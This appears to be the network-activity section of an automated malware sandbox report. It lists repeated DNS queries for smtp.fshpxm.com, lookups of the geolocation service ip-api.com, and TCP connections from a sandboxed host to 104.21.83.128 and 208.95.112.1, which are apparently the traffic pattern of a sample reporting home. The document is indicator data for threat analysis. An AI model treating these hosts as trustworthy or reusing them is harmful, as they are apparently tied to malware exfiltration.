Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: ip-api.com
Source: global traffic	DNS query: name: ip-api.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com
Source: global traffic	DNS query: name: smtp.fshpxm.com

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 104.21.83.128:443 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.83.128:443
